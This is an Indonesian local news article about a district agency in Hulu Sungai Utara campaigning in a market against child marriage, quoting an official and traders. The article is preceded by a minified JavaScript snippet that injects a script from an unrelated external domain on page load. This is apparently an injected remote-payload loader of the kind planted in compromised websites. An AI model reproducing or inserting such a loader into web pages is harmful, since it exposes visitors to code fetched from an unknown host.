(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Cegah Perkawinan Anak, DPPPA HSU Gelar ‘Orasi’ di Tengah Warga dan Pedagang


AMUNTAI, Ada yang berbeda saat Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Kabupaten Hulu Sungai Utara (HSU) menggelar Aksi Sosialisasi Pencegahan Perkawinan Anak kepada masyarakat. Tak hanya berbekal spandok dan poster, kegiatan yang digelar di kawasan Jalan Empu Jatmika pasar Candi Agung Amuntai, Selasa (1/10), langsung mengajak warga dan para pedagang untuk perhatian terhadap program pencegahan ini.

“Perkawinan anak merupakan pelanggaran hak – hak anak perempuan dan laki-laki. Karena anak rentan kehilangan hak pendidikan kesehatan, gizi, perlindungan dari kekerasan expolitasi dan tercabut dari kebahagian masa anak – anak,”jJelas Rusinah di tengah orasinya.

Lebih lanjut, Rusinah menyebut aksi terjun ke masyarakat yang berada di pasar ini agar bisa langsung bersentuhan dengan warga dari berbagai macam lapisan dan latar belakang. “Sudah beberapa kali melakukan aksi ini, mungkin dua hari kedepan akan melakukan aksi lagi dengan sasaran masih di pasar yaitu di pasar unggas dan di pasar kerajinan tangan,” jelas Kabid Kualitas Hidup Perempuan dan Keluarga DPPPA HSU ini.

Selain itu, Rusinah mengatakan saat ini menurut data DPPPA Kabupaten HSU dari tahun 2017 sampai 2019 perkawinan usia anak semakin menurun, hal tersebut semakin dilakukan dengan upaya sosialisasi pencegahan agar perkawinan usia anak tidak ada lagi HSU.


“Dengan adanya aksi ini masyarakat yang mendengar di pasar ini bisa menyampaikan keluarga, tetangga, dan juga kepada anak anak meraka sehingga lebih efektif,” pungkas Rusinah.

Saat ini sebagian besar masyarakat masih belum mengetahui bahaya perkawian anak. Seperti salah satu seorang pedagang kue di pasar candi mengatakan, “tidak mengetahui bahaya dampak menikahkan anak yang masih belum cukup umur dan batas batas minimal menikah bagi anak,” ucap salah satu pedagang di pasar.

Lain halnya Ibu Umi pedagang ayam yang mengaku sudah mengetahui banyak tentang bahaya pernikahan usia anak tersebut dan minimal perkawinan usia anak. “Kalau perempuan usia nikah 18 tahun, kalau laki laki umur 25 tahun, apabila nikah terlalu muda bisa berbahaya bagi perempuan dalam melahirkan” tukasnya.(dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.